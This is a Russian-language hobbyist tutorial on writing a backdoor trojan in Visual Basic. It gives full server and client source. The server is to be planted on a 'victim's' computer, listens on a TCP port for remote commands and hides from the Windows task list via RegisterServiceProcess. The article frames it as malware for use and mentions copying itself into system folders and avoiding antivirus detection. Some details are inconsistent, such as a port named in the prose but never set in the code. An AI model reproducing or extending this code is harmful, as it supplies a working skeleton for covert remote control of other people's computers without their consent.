Как сделать троян на VB
В интернете полным полно всяких сайтов, на которых
Вы можете скачать себе самые разнообразные трояны и вирусы. Но о большинстве
из них (скорее всего) уже знают антивирусные программы. К тому же надо с опаской
относиться к таким троянам, которые отсылают пароли на e-mail, т.к. их большинство
дублирует письмо на e-mail автора :о) Поэтому лучше всего сделать троян самому.
Для начала разберёмся с классификацией троянов. Трояны делятся
на несколько категорий: BackDoors, Nukers и т.д. В этой статье мы будим говорить
о создании собственного BackDoor'а, а точнее программы скрытого удалённого
администрирования. Такие программы состоят из 2-х частей: одна - сервер,
а другая - клиент. На компьютер жертвы засылается сервер. Именно он скрывается
от пользователя. Файл сервера при запуске автоматически копируется
в каталог Windows или системный каталог, а также скрывается из диалога
"Завершение работы программы", который вызывается нажатием Ctrl+Alt+Delete.
Во время работы, сервер открывает какой-нибудь порт от 1-ого до 65535-ого,
и ждёт там клиента. Оыбчно сервер открывает порт на TCP протоколе. После того,
как клиент подключиться к серверной части, он начинает посылать ей команды.
Командами являются просто сочетания символов, обычно в виде слов, чтобы автору
трояна не мучиться :о) Какие именно он придумает команды - нужно только
догадоваться.
Итак. Как мы и обещали, приступаем к созданию программы. Сначала
напишем сервер. Для этого создаём новый проект на Visual Basic
в виде стандартного EXE. Далее подключаем к нему Microsoft Winsock Control:
в меню "Project"->"Components..."


Private Sub Form_Load()
Do
If ws.State <> sckConnected And ws.State <> sckListening Then
ws.Close
ws.Listen
End If
DoEvents
Loop
End Sub
Здесь, если мы ни с кем не соеденины и не прослушиваем порт, закрываем
связь в ws и открываем 123 порт в ожидании клиента. Условие на состояние связи в ws нужно
повторять во время работы программы для того, чтобы избежать случая, который возникает
при разрыве связи. Т.е. вы начинаете случать порт, затем подключается удалённый компьютер,
а после его отключения порт слушаться уже не будет. Вот значения, которые может принимать
свойство State:
| Константа | Значение | Описание |
| sckClosed | 0 | Такое значение стоит при запуске программы или когда порт закрыт |
| sckOpen | 1 | Порт открыт |
| sckListening | 2 | Порт прослушивается |
| sckConnectionPending | 3 | Connection pending |
| sckResolvingHost | 4 | Resolving host |
| sckHostResolved | 5 | Host resolved |
| sckConnecting | 6 | Подключение к хосту |
| sckConnected | 7 | Связь установлена |
| sckClosing | 8 | Связь закрывается... |
| sckError | 9 | Ошибка |
Private Sub ws_ConnectionRequest(ByVal requestID As Long)
ws.Close
ws.Accept requestID
End Sub
Здесь мы сначала прекрашаем слушать, а затем подсоединяем клиента по номеру его запроса. На этом код по соединению двух программ закончен. Далее разбираем код для ws_DataArrival. Он будет вызываться, когда будут приходить какие-нибудь данные от сервера.
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim Data As String
ws.GetData Data
Select Case Data
Case "BEEP"
Beep
Case "MSG"
MsgBox "Привет!", vbInformation, ":o)"
Case "END"
End
End Select
End Sub
В этом коде тоже всё просто. Сначала объявляем переменную
Data, которая будет содержать пришедшие данные, а затем записываем их.
После этого просматриваем все возможные варианты, т.е. команды, которые могли
прийти от сервера. Здесь их три: BEEP, MSG, END. То, что они делают, думаю,
объеснять не надо. Теперь остаётся скомпилировать программу. Назовём её "server.exe".
Приступим к написанию клиентской части. Создадим новый проект и форму,
как на рисунке:

Private Sub Form_Load()
IP.Text = ws.LocalIP
End Sub
Теперь запущенная программа может выглядеть примерно так:

Private Sub Command1_Click()
ws.Close
ws.RemoteHost = IP
ws.RemotePort = Port
ws.Connect
End Sub
Private Sub Command2_Click()
ws.Close
End Sub
При нажатии на кнопку "Подключиться", мы закрываем связь, указываем удалённый IP и порт и подключаемся. Кнопка "Отключиться" просто закрывает связь.
Private Sub Command3_Click()
If ws.State <> sckConnected Then Exit Sub
ws.SendData "BEEP"
End Sub
Private Sub Command4_Click()
If ws.State <> sckConnected Then Exit Sub
ws.SendData "MSG"
End Sub
Private Sub Command5_Click()
If ws.State <> sckConnected Then Exit Sub
ws.SendData "END"
End Sub
В последних трёх кнопках программа сначала проверяет связь, и,
если соединено, то посылает команду.
Теперь компилируем программу в "client.exe". Можно протестировать
троян. Для этого запустите "server.exe", а затем "client.exe" и попробуйте подключиться.
Если не было ошибок, то понажимайте на кнопки команд. Теперь сервер можно закрыть
из списка задач (Ctrl+Alt+Delete).
Вот в принципе и всё. Если вы хотите скрыть своего трояна из списка
задач, то в объявлениях формы сервера подключите функцию RegisterServiceProcess, а
также измените Form_Load:
Private Declare Function RegisterServiceProcess Lib _
"kernel32.dll" (ByVal dwProcessId As Long, ByVal _
dwType As Long) As Long
Private Sub Form_Load()
RegisterServiceProcess 0, 1
Do
If ws.State <> sckConnected And ws.State <> sckListening Then
ws.Close
ws.Listen
End If
DoEvents
Loop
End Sub
Исходники на этой странице.
Автор: Павел Николаевич
E-mail: pasha_nik@mail.ru